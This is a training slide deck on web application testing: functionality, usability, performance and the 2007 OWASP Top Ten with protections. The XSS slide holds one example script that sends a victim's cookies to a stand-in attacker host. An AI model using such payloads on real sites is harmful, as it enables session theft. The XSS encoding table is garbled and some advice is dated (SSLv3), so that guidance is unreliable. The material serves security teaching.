Web Application Testing

Web Application Testing

Richa Goel

Agenda
Introduction to Web Application Testing
• What is Web Application testing?
• Web Application testing challenges
• Functionality testing
• W3C Link checker
• User Interface testing
• Usability testing
• When Usability testing should be done

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Agenda
•Compatibility testing
• Security testing
• Understanding of various threats related to Web
application
• Overview of OWASP Top 10
• WASC Top 20
• Accessibility testing


Introduction
 Web-based applications present new challenges,
both for developers and testers. These challenges
include:
 Short releases cycles
 Constantly changing technology
 Possible huge number of users during initial website
launch
 Inability to control the user‘s running environment
 24-hour availability of the website
 Any difficulty in response time, accuracy, or ease of
use will make the user to click on a competitor's site.

Testing Concepts
 WebApp testing
 A collection of related activities to uncover errors
 Content (Data)
 Capability (functionality)
 Quality (non-functionality)


Testing Concepts
 Who does it?
 Web designer (or engineer)
 Why is important?
 Customers loss confidence
 Business loss because customer may go to
different sites


Web Applications:
Characteristics
 Web applications employ a number of new
languages, technologies, and programming
models.

 Modern Web applications are sophisticated,
interactive programs with complex GUIs and
numerous back-end software components that
are integrated in novel and interesting ways.

 Web applications are much more complicated
than simple HTML Web pages, and consist of
more than just the front-end graphical user
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interfaces that users see.
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Web-Based, Multi-Tiered
Architecture


Web Application Quality
Web Quality

Efficiency
Usability Functionality Reliability Maintainability Security

Response
Researching Time, Correct link Ease of
simplicity
retrieving Pg generation processing correction
speed

Graphic
Navigation Error
Help feature generation adaptability
/browsing recovery
speed

GUI & Special
I/O validation extensibility
Aesthetic features

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The Need for Web Testing

 Is the site content meaningful?
 Is this application easy to use?
 How about browser compatibilities?
 How reliable is our technology?
 Do the Servers have enough power?
 How many visitors are we expecting?
 Are the machines fast enough?
 How much activity can the site handle?

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Testing Static Hyper Text Web
Sites
 This is not program testing, but checking that all
the HTML connections are valid
 The main issue to test for is dead links
 We should also evaluate
 Load testing
 Performance evaluation
 Access control issues
 The usual model is that of a graph
 Nodes are web pages
 Edges are HTML links

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Efficiency vs. Usability

 If the user can‘t perform a task, # of clicks irrelevant
 Design for usability first, efficiency second
 Efficiency is meaningful for repetitive tasks
 How many times a day will user‘s use your site?
 How many times a day will user‘s do the same exact
thing on your site?

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Functional and Usability Issues

 The first tests for a website should focus on the site‘s
intended behavior by assessing the following issues:
 Functionality
 Usability
 Navigation
 Forms
 Page content

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Functional Testing
 Functional testing involves making sure
features that most affect user interactions
work properly. These include:
 Forms
 Searches
 Popup windows
 Shopping carts
 Online payments
 Functional testing evaluates the content of
dynamically generated pages and verifies
many behind the scene (connections to
database)
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Functional Testing
 Test the outgoing links

 Test all internal links.

 Test links jumping on the same pages.

 Broken Link or Dead Links is a hyperlink which does
not work, for example because the target file is
missing, has been moved, or has no public read
permission. A Broken Link within a website is a link
which could not be followed.
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Usability Testing
 Usability testing assesses the website‘s user
friendliness and suitability by gathering
information about how users interact with the site.
 The key to usability testing is to study what a user
actually does.
 Usability testing steps:
 Identify the website‘s purpose
 Identify the intended users
 Define tests and conduct the usability testing
 Analyze the acquired information

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Formal vs. Informal Testing
 Formal testing might entail building a usability
testing lab, equipping it with an array of
computers, audio-video equipment, then staffing it
with psychologists, technicians, and human-
computer interaction specialists

Formal vs. Informal Testing
 Informal approach: No fancy lab or expensive
equipment
 A simple test plan and task list are prepared,
notepad and pencil
 Participants are observed by an impartial
moderator
 The advantage is that informal testing looks at
what people actually do when they are doing
real work in an ordinary setting

User Interface Testing
 Interface features are tested to ensure that design rules,
aesthetics, and related visual content is available for the user
without error.
 Individual interface mechanisms are tested in a manner that is
analogous to unit testing.
 Each interface mechanism is tested within the context of a use-
case or NSU for a specific user category.
 The complete interface is tested against selected use-cases and
NSUs to uncover errors in the semantics of the interface.
 The interface is tested within a variety of environments (e.g.,
browsers) to ensure that it will be compatible.

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Navigation Testing
 Good navigation is an essential part of a
website, especially those that are complex
and provide a lot of information.
 Most users expect the following:
 Easy and quick access to the information they want
 Logical hierarchy of pages
 Confirmation of where they are at any point
 Facility to return to previous states or the homepage
 Consistent look and layout of every page
 Uncluttered pages

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Forms Testing
 Websites that use forms need to be tested to
ensure that each field works properly and that the
form posts all data as intended by the designers.
 Testing forms include the following actions:
 Using the tab key to verify that the form traverses fields
in the proper order, both forward and backward
 Testing boundary values
 Checking that forms traps invalid data correctly,
especially data and numeric formats
 Verifying that the form updates information correctly

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Page Content Testing
 Each web page must be tested for correct content
from the user perspective.
 These test fall into two categories:
 Ensuring that each component functions correctly
 Ensuring that the content of each is correct

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Navigation Testing
 The following navigation mechanisms should be tested:
 Navigation links—these mechanisms include internal
links within the WebApp, external links to other
WebApps, and anchors within a specific Web page.
 Redirects—these links come into play when a user
requests a non-existent URL or selects a link whose
destination has been removed or whose name has
changed.
 Bookmarks—although bookmarks are a browser
function, the WebApp should be tested to ensure that a
meaningful page title can be extracted as the bookmark
is created.
 Frames and framesets—tested for correct content,
proper layout and sizing, download performance, and
browser compatibility
 Site maps—Each site map entry should be tested to
ensure that the link takes the user to the proper content
or functionality.
 Internal search engines—Search engine testing
23 validates the accuracy and completeness of the search,
the error-handling properties of the search engine, and

Exercise 1
 Explore ―GMAIL‖ application .Write 2 test cases
on each of the following parameters.

---Usability
---Accessibility
---User Interface
---Cross Browser Compatibility

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Configuration and Compatibility
Testing

 A key challenge in web applications is ensuring that the
user sees a web page as the designer intended:
 The user can select different browser software and
browsers options.
 Use different network software and online service
 Run concurrent applications
 Compatibility testing ensures product functionality and
reliability on the supported browsers and platforms that
exist on the customer computer.

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Configuration and Compatibility Testing
(Cont.)
 Guideline for testing web applications (by listing the
platform and browser environments to be tested).

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Compatibility testing
 WebApp must work within different environments
 Different computers
 Display devices
 Different OS
 Different Browsers

Reliability and Availability

 A key requirement of a website is that:
 It is available whenever the user requests it, often 24 hours
a day, every day.
 The number of users accessing a website simultaneously
may also affect the site‘s availability.
 To assess availability, the tester must build tests
around anticipated usage spikes which can include:
 For store applications: promotional campaigns and sales
 For business cycles: month-end and quarter-end dates
 For banking applications: direct deposit dates
 During maintenance: required downtime for backups,
upgrades, and other operations.
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Performance
 Performance testing evaluates system
performance under normal and heavy usage.
 Website performance is crucial to the success of
any web application.
 Performance tests:
 Scalability testing
 Load testing
 Stress testing

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Performance: Scalability Testing
 Scalability concerns the website‘s ability to
handle the volumes and types of activities that
can occur after launch.
 The following types of scenarios affect scalability:
 How closely the test environment matches the
production environment
 Millions of users accessing the site during launch
 Activity spikes due to marketing promotions

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Performance: Load Testing
 The purpose of load testing is to model real world
experiences, typically by generating many
simulations users accessing the website.
 Load testing may need to be repeated at least
once.

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Load Testing
 The intent is to determine how the WebApp and its server-
side environment will respond to various loading conditions
 N, the number of concurrent users
 T, the number of on-line transactions per unit of time
 D, the data load processed by the server per transaction
 Overall throughput, P, is computed in the following manner:
 P= NxTxD

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Plan Load Test

 System Usage Information
 Task Distribution Diagram
 which business tasks?
 how many operations at what times of the day?
 Transaction Profile
 how many operations on average, how many at peaks?
 how much database activity?
 how much risk to business if task fails?
 User Profile
 which tasks does each real user perform?
 what is ratio of different tasks for each user?

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Why Load Test Your Web Application?
 Why Load Test Your Web Application?
 The failure of a mission-critical web application can be
costly
 don‘t just cross your fingers

 Deploy with confidence
 assure performance and functionality under real-world
conditions

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Performance: Stress Testing

 Stress testing consists of subjecting the system to
varying and maximum loads to evaluate the
resulting performance.
 Stress testing can be automated. Tools can report
the following type of information:
 Number of requests, transactions and kilobyte/second
 Round trip time (time from the user makes a request to the
time that the users receives the result)
 Number of concurrent connections
 Degradation of performance
 Types of visitors to the site and their number
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 CPU and memory usage of the application server

Security Testing
 Security is a primary concern when
communicating and conducting business
especially sensitive and business critical
transactions over the internet.
 Regardless whether the application requires the
user to enter a password to access the website,
the tester must check for internet threats.

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W3C Link Checker Tool
 The W3C Link Checker checks that all the links in
your HTML document are valid.
 A first version was developed in August 1998.
 Since it was lacking some functionalities, it
was rewrote more or less from scratch in
November 1999.
 There is a command-line interface and an online
version.
 The Link Checker can easily be installed on one's
server.
 This is an open source tool.
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W3C Link Checker: What it
does?
 The link checker reads an HTML or XHTML document
or a CSS style sheet and extracts a list of anchors
and links.
 It checks that no anchor is defined twice.
 It then checks that all the links are de-referenceable,
including the fragments.
 It warns about HTTP redirects, including directory
redirects.
 It can check recursively a part of a Web site.
 This Link Checker looks for issues in links, anchors
and referenced objects in a Web page, CSS style
sheet, or recursively on a whole Web site.
 For best results, it is recommended to first ensure that
38 the documents checked use Valid (X)HTML Markup
and CSS

Exercise 2: W3C Linker
 Open link : validator.w3.org
 Check for the site: www.mercury-tours.com/
 Get the report and study it.

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Challenges in Testing Web
Applications

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Testing Web Apps is Different
 Web Apps are exposed to wide range of security
threats.
 They may open up illegal points of entry to the
database.
 Test Cases should be written covering the
different scenarios not only of functional usage
but also technical consideration such as Network
speeds, screen resolution etc.
 Web Apps are known to give error on slow
networks, whereas they perform well on high
speed connections.
41  Images take longer time to download in slower

Issues in Testing Web Software
 A web application is a program that is deployed
on the web
 Usually uses HTML as the user interface
 Web-deployment means they are available
worldwide
 They accept requests through HTTP and return
responses
 HTTP is stateless – each request/response pair is
independent
 Web applications are usually very competitive
 A web service is a web-deployed program that
accepts XML messages wrapped in SOAP
 Usually no UI with humans
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 Service must be published so other services and

Challenges in Web Testing
 One of the key strategic challenges of Web testing is
the dominance of change.
 The technology is everchanging;
 The platform and configuration are ever-changing
 The business model is ever-changing
 The customer base and their expectations are ever-
changing

Leads to multiple
changes in
requirements and
User Interface
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Web-Testing: Challenges
 Main difficulty to localize errors due to
 OS
 NETWORK
 HW/SW

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Challenges in Testing Web Apps
 Numerous Application Usage (Entry – Exit)
Paths are possible
 People with varying backgrounds & technical
skills may use the application
 Intranet versus Internet based Applications
 The end users may use different types of
browsers to access the app
 Network speeds
 Security Aspects

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Numerous Application Usage
(Entry – Exit) Paths are possible
 Due to the design and nature of the web
applications it is possible that different users
follow different application usage paths.
 For example in an online banking application a
user may directly go to ―Bill Pay‖ page and other
users may check account balances, view
previous transactions and then ―Pay the Bills‖.
Generally a large number of usage paths are
possible and all are supposed to work well.
All these Permutations and Combinations need to
be tested thoroughly
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People with varying backgrounds
& technical skills may use the
application
 Not all applications are self explanatory to all
people. People have varying backgrounds and
may find the application hard to use. For instance
a Business Intelligence application with ―Drill-
Down-Reports‖ may work out for certain users but
not for others.

 Although this affects the design of the
applications, but these factors should be tested in
usability testing of the applications

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Intranet versus Internet based
Applications
 Intranet based applications generally cater to a
controlled audience. The developers and architects
can make accurate assumptions about the people
accessing the apps and the
hardware/software/technical specifications of the
client machines.

 While it may be difficult to make similar assumptions
for Internet Based Applications. Also the intranet
users can generally access the app from ‗trusted‘
sources whereas for internet applications the users
may need to be authenticated and the security
measures may have to be much more stringent.

 Test Cases need to be designed to test the various
scenarios and risks involved.
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The end users may use different
types of browsers to access the
app
 Typically for internet based applications users
may have different Browsers when accessing the
apps. This aspect also needs to be tested. If we
test the app only on IE then we cannot ensure if
works well on Netscape or Fire-Fox. Because
these browsers may not only render pages
differently but also have varying levels of support
for client side scripting languages such as java-
script.
 The end users may use different types of
browsers to access the app
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Network speeds
 Slow Network speeds may cause the various
components of a Webpage to be downloaded
with a time lag. This may cause errors to be
thrown up.
 The testing process needs to consider this as
important factor specially for Internet based
Applications

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Security Aspects
 If the Application captures certain personal or
sensitive information, it may be crucial to test the
security strength of the application. Sufficient care
need to be taken that the security of the data is
not compromised.

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How to test a website
 Easiest way to start is by treating the web site as
a black box.
 Look at a sample website such as www.apple.com
to get a sense of the scale of such an endeavor.
 Treat each page as a state with hyperlinks as state
transitions.

Website text
 Web page text should be treated like
documentation and tested using the
techniques we described previously.
 Check for …
 correctness of contact information e.g., phone
numbers, addresses
 correctness of dates and copyright notices
 title bar text, bookmark text on browser‘s favorites
 correctness of the ALT text (i.e., mouse over text)
 layout issues when browser window is resized

Website hyperlinks
 Each link should be checked to make sure it jumps to
the correct destination or website.
 Ensure that hyperlinks are obvious:
 E.g., underlined text, mouse pointer changes
 If the link opens an e-mail message, test it
 Send an e-mail and verify that you get a response.
 Check for orphan pages that are part of the
website but cannot be accesses through a
hyperlink.
 Someone forgot to create the link
 Might be intentional … Google will find it, though

Website graphics
 Do all graphics load and display properly?
 Is a graphic missing or incorrectly named?
 Does the website intermix text and graphics?
 Does the text wrap around the graphics?
 What happens when the browser window is re-
sized?
 Does the page load fast enough?
 Are there too many graphics?
 Did you try to test the website on a dialup
connection instead of a high-speed LAN?

Website forms
 Forms are the text boxes, list boxes, and
other fields for entering and selecting
information on the web page.
 Are the form fields positioned properly?
 Are the fields the correct size?
 Do they accept correct data?
 Do they reject bad data?
 Are optional fields really optional?
 A favorite entry point for buffer overflow
attacks (more on this later).

Exercise 3
 What are different types of objects that needs to
be tested while doing functional testing of a web
site.

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OWASP 2007 Top Ten List

A1. Cross-Site Scripting (XSS)
A2. Injections Flaws
A3. Malicious File Execution
A4. Insecure Direct Object Reference
A5. Cross Site Request Forgery (CSRF)
A6. Information Leakage & Improper Error Handling
A7. Broken Authentication & Session Management
A8. Insecure Cryptographic Storage
A9. Insecure Communications
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A10. Failure to Restrict URL Access

A1. Cross-Site Scripting (XSS) Flaws
OWASP Definition
XSS flaws occur whenever an application takes user supplied
data and sends it to a web browser without first validating or
encoding that content. XSS allows attackers to execute script
in the victim's browser which can hijack user sessions, deface
web sites, possibly introduce worms, etc.

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A1. Cross-Site Scripting (XSS) Attacks
Example Comment embedded with JavaScript

comment=“Nice site! <SCRIPT> window.open(
http://badguy.com/info.pl?document.cook
ie </SCRIPT>”

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A1. Cross-Site Scripting (XSS)
 Occurs when an attacker can manipulate a Web application to send
malicious scripts to a third party.
 This is usually done when there is a location that arbitrary content can be
entered into (such as an e-mail message, or free text field for example) and
then referenced by the target of the attack.
 The attack typically takes the form of an HTML tag (frequently a hyperlink)
that contains malicious scripting (often JavaScript).
 The target of the attack trusts the Web application and thus XSS attacks
exploit that trust to do things that would not normally be allowed.

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XSS - Protection
Protect your application from XSS attacks
 Filter output by converting text/data which might have
dangerous HTML characters to its encoded format:
 '<' and '>' to '<' and '>’

 '(' and ')' to '(' and ')’

 '#' and '&' to '#' and '&‘

 Recommend filtering on input as much as possible. (some data
may need to allow special characters.)

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OWASP Definition:
Injection flaws, particularly SQL injection, are common in web
applications. Injection occurs when user-supplied data is sent
to an interpreter as part of a command or query. The
attacker’s hostile data tricks the interpreter into executing
unintended commands or changing data.

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Some common types of command injection flaws include:
 SQL injection (malicious calls to backend databases via SQL),
using shell commands to run external programs
 Using system calls to in turn make calls to the operating
system.
Any Web application that relies on the use of an interpreter has the
potential to fall victim to this type of flaw

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A2. Injections Flaws: Protection
 Use language specific libraries to perform the same functions as shell
commands and system calls
 Check for existing reusable libraries to validate input, and safely perform
system functions, or develop your own.
 Perform design and code reviews on the reusable libraries to ensure
security.
Other common methods of protection include:
 Use stored Procedures
 Data validation (to ensure input isn't malicious code),
 Run commands with very minimal privileges
 If the application is compromised, the damage will be minimized.

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OWASP Definition:
Code vulnerable to remote file inclusion (RFI) allows
attackers to include hostile code and data, resulting in
devastating attacks, such as total server compromise.
Malicious file execution attacks affect PHP, XML and any
framework which accepts filenames or files from users.

66

 Applications which allow the user to provide a
filename, or part of a filename are often
vulnerable if input is not carefully validated.
 Allowing the attacker to manipulate the filename
may cause application to execute a system
program or external URL.
 Applications which allow file uploads have
additional risks
 Place executable code into the application
 Replace a Session file, log file or authentication
token

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A3. Malicious File Execution Protection
 Do not allow user input to be used for any part of a
file or path name.
 Where user input must influence a file name or
URL, use a fully enumerated list to positively
validate the value.
 File uploads have to be done VERY carefully.
 Only allow uploads to a path outside of the webroot
so it can not be executed
 Validate the file name provided so that a directory
path is not included.
 Implement or enable sandbox or chroot controls
which limit the applications access to files.
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OWASP Definition:
A direct object reference occurs when a developer exposes a
reference to an internal implementation object, such as a file,
directory, database record, or key, as a URL or form
parameter. Attackers can manipulate those references to
access other objects without authorization.

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 Applications often expose internal objects,
making them accessible via parameters.
 When those objects are exposed, the attacker
may manipulate unauthorized objects, if proper
access controls are not in place.
 Internal Objects might include
 Files or Directories
 URLs
 Database key, such as acct_no, group_id etc.
 Other database object names such as table name

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A4. Insecure Direct Object Reference Protection
 Do not expose direct objects via parameters
 Use an indirect mapping which is simple to
validate.
 Consider using a mapped numeric range, file=1 or
2…
 Re-verify authorization at every reference.
 For example:
1. Application provided an initial lists of only the
authorized options.
2. When user‘s option is ―submitted‖ as a
parameter, authorization must be checked
again.
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OWASP Definition:
A CSRF attack forces a logged-on victim’s browser to send a
pre-authenticated request to a vulnerable web application,
which then forces the victim’s browser to perform a hostile
action to the benefit of the attacker. CSRF can be as
powerful as the web application that it attacks.

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 Applications are vulnerable if any of following:
 Does not re-verify authorization of action
 Default login/password will authorize action
 Action will be authorized based only on credentials
which are automatically submitted by the browser
such as session cookie, Kerberos token, basic
authentication, or SSL certificate etc.

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A5. Cross Site Request Forgery (CSRF) Protection
 Eliminate any Cross Site Scripting vulnerabilities
 Not all CSRF attacks require XSS
 However XSS is a major channel for delivery of
CSRF attacks
 Generate unique random tokens for each form or
URL, which are not automatically transmitted by
the browser.
 Do not allow GET requests for sensitive actions.
 For sensitive actions, re-authenticate or digitally
sign the transaction.

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A6. Information Leakage & Improper Error Handling
OWASP Definition:
Applications can unintentionally leak information about their
configuration, internal workings, or violate privacy through a
variety of application problems. Attackers use this weakness
to steal sensitive data or conduct more serious attacks.

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Improper Error Handling: Protection

 Prevent display of detailed internal error messages including stack
traces, messages with database or table names, protocols, and other
error codes. (This can provide attackers clues as to potential flaws.)
 Good error handling systems should always enforce the security
scheme in place while still being able to handle any feasible input.
 Provide short error messages to the user while logging detailed error
information to an internal log file.
 Diagnostic information is available to site maintainers
 Vague messages indicating an internal failure provided to the
users
 Provide just enough information to allow what is reported by the user
to be able to linked the internal error logs. For example: System Time-
stamp, client IP address, and URL
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Information Leakage - Example
 Sensitive information can be leaked very subtlety
 Very Common Example - Account Harvesting
 App. responds differently to a valid user name with an invalid
password, then it would to a invalid user name
 Web application discloses which logins are valid vs. which are
invalid, and allows accounts to be guessed and harvested.
 Provides the attacker with an important initial piece of information,
which may then be followed with password guessing.
 Difference in the Web App response may be:
 Intentional (Easier to for users to tell then the account name is
wrong)
 Different code included in URL, or in a hidden field
 Any minor difference in the HTML is sufficient
 Differences in timing are also common and may be used!

77

Information Leakage: Protections
 Ensure sensitive responses with multiple
outcomes return identical results
 Save the the different responses and diff the html,
the http headers & URL.
 Ensure error messages are returned in roughly
the same time or consider imposing a random
wait time for all transactions to hide this detail
from the attacker.

78

A7. Broken Authentication and Session Management
OWASP Definition:
Account credentials and session tokens are often not properly
protected. Attackers compromise passwords, keys, or
authentication tokens to assume other users’ identities.

79

Session Management
 HTTP/S protocol does not provide tracking of a users session.
 Session tracking answers the question:
 After a user authenticates how does the server associate
subsequent requests to the authenticated user?
 Typically, web application vendors provide a built-in session
tracking, which is good if used properly.
 Often developers will make the mistake of inventing their own
session tracking.

80

Session Management (Session IDs)
A Session ID
 Unique to the User
 Used for only one authenticated session
 Generated by the server
 Sent to the client as
 Hidden variable,
 HTTP cookie,
 URL query string (not a good practice)
 The user is expected to send back the same ID in the next
request.

81

Session Management (Session Hijacking)
 Session ID is disclosed or is guessed.
 An attacker using the same session ID has the same privileges
as the real user.
 Especially useful to an attacker if the session is privileged.
 Allows initial access to the web application to be combined with
other attacks.

82

Session Management: Protection

 Use long complex random session ID that cannot be guessed.
 Protect the transmission and storage of the Session ID to prevent
disclosure and hijacking.
 A URL query string should not be used for Session ID or any
User/Session information
 URL is stored in browser cache
 Logged via Web proxies and stored in the proxy cache

83

Session Management: Protection

 Entire session should be transmitted via HTTPS to prevent
disclosure of the session ID. (not just the authentication)
 Avoid or protect any session information transmitted to/from the
client.
 Session ID should expire and/or time-out on the Server when
idle or on logout.
 Client side cookie expirations useful, but should not be trusted.
 Consider regenerating a new session upon successful
authentication or privilege level change.

84

Broken Account Management
Even valid authentication schemes can be undermined by flawed
account management functions including:
 Account update

 Forgotten password recovery or reset

 Change password, and other similar functions

Broken Account and Session Management: Protection
 Password Change Controls - require users to provide both old
and new passwords
 Forgotten Password Controls - if forgotten passwords are
emailed to users, they should be required to re-authenticate
whenever they attempt to change their email address.
 Password Strength - require at least 7 characters, with letters,
numbers, and special characters both upper case and lower case.
 Password Expiration - Users must change passwords every 90
days, and administrators every 30 days.

86

OWASP Definition:
Web applications rarely use cryptographic functions properly
to protect data and credentials. Attackers use weakly
protected data to conduct identity theft and other crimes, such
as credit card fraud.

87

 The majority of Web applications in use today need to store
sensitive information (passwords, credit card numbers,
proprietary information, etc.) in a secure fashion.
 The use of encryption has become relatively easy for
developers to incorporate.
 Proper utilization of cryptography, however, can remain elusive
by developers overestimating the protection provided by
encryption, and underestimating the difficulties of proper
implementation and protecting the keys.

88

Insecure Cryptographic Storage: Common Mistakes

 Improper/insecure storage of passwords, certifications, and keys

 Poor choice of algorithm

 Poor source of randomness for initialization vectors

 Attempting to develop a new encryption scheme "in house”
(Always a BAD idea)
 Failure to provide functionality to change encryption keys

89

Insecure Cryptographic Storage: Protection

 Avoiding storing sensitive information when possible

 Use only approved standard algorithms

 Use platform specific approved storage mechanisms

 Ask, read and learn about coding Best Practices for your
platform
 Careful review of all system designs

 Source code reviews

90

A9. Insecure Communications
OWASP Definition:
Applications frequently fail to encrypt network traffic when it is
necessary to protect sensitive communications.

91

Insecure Communications
 Failure to encrypt network traffic leaves the information
available to be sniffed from any compromised system/device on
the network.
 Switched networks do not provide adequate protection.

92

Insecure Communications: Protection
 Use SSL/TLS for ALL connections that are
authenticated or transmitting sensitive information
 Use SSL/TLS for mid-tier and internal network
communications between Web Server, Application
and database.
 Configure Desktop Clients and Servers to ensure
only SSLv3 and TLSv1 are used with strong
ciphers.
 Use only valid trusted SSL/TLS certificates and train
users to expect valid certificates to prevent Man-in-
the-Middle attacks.

93

OWASP Definition:
Frequently, an application only protects sensitive functionality
by preventing the display of links or URLs to unauthorized
users. Attackers can use this weakness to access and
perform unauthorized operations by accessing those URLs
directly.

94

 When the application fails to restrict access to administrative
URLs, the attacker can access normally unauthorized areas
by type in the URL’s into the browser.
 Surprisingly common, for example:
 add_account_form.php - checks for admin access before
displaying the form.
 Form then posts to add_acct.php which does the work, but
doesn’t check for admin privileges!
 Consistent URL access control has to be carefully designed.

95

A10. Failure to Restrict URL Access : Protection
Start Early!
 Create an application specific security policy during the
requirements phase.
 Document user roles as well as what functions and content each
role is authorized to access.
 Specifying access requirements up front allows simplification of the
design
 If your access control is not simple it won't be secure.

96

A10. Failure to Restrict URL Access: Protection
Test Thoroughly!
 Conduct extensive regression testing to ensure the access
control scheme cannot be bypassed
 Test all invalid access attempts as well as valid access.
 Don't follow the normal application flow.
 Verify that all aspects of user management have been taken
under consideration including scalability and maintainability.

97

Summary
 To ensure that sufficient Test Coverage is provided for
Web Based Applications and to provide a secure,
reliable application to the user the above factors need
to be considered.
 For internet based applications accessibility and
security can be important issues.

 On one hand Organizations would like to cater to their
users around the world on the other hand they could
end up exposing their security holes all over.

 Testing could be the last chance to ensure the safety
of the data and the organization.
98 Richa Goel 9/22/2012

Key Points

 Testing web applications present new challenges.
 Functional and usability tests focus on the site‘s
intended behavior:
 Functional testing asserts whether the main features
function correctly.
 Usability testing evaluates whether a site is user friendly by
observing users as they interact with the site.
 Testing a form ensures that each field works properly.
 Navigation testing ensures that the user can accomplish
the desired tasks by verifying access to pages, images,
links, and other page components.
 Testing page content ensures that the information provided
99 by the website is correct.

Key Points (Cont.)
 Configuration and compatibility testing make sure that
the application functions correctly across the various
hardware and software environments.
 Reliability and availability testing assesses whether the
website is accessible whenever the users request it by
testing around anticipated peak usage such as
marketing promotions and high-activity cycles.

100 Richa Goel 9/22/2012

Key Points (Cont.)
 Performance testing ensures that the website server
responds to browser requests within defined
parameters. As part of performance testing:
 Scalability testing assesses the website's ability to meet
the load requirements.
 Load testing evaluates how the system functions when
processing many simultaneous requests from a multitude
of users.
 Stress testing subjects the system to varying loads.
 Security testing aims to check for internet threats or
protect sensitive information.
101 Richa Goel 9/22/2012

Key Points (Cont.)
 End-to-end transaction testing tests all parts that
make up a particular transaction by following a
customer's workflow from entering to leaving the
site.
 Database testing verifies the integrity, validity and
manipulation and updates of the data.
 Post-implementation testing verifies an
application's behavior in the production
environment.

102 Richa Goel 9/22/2012

goel.richa15@gmail.com
In case of any future queries, you can contact on above email address.

Richa
103 Goel 9/22/2012

Web Application Testing

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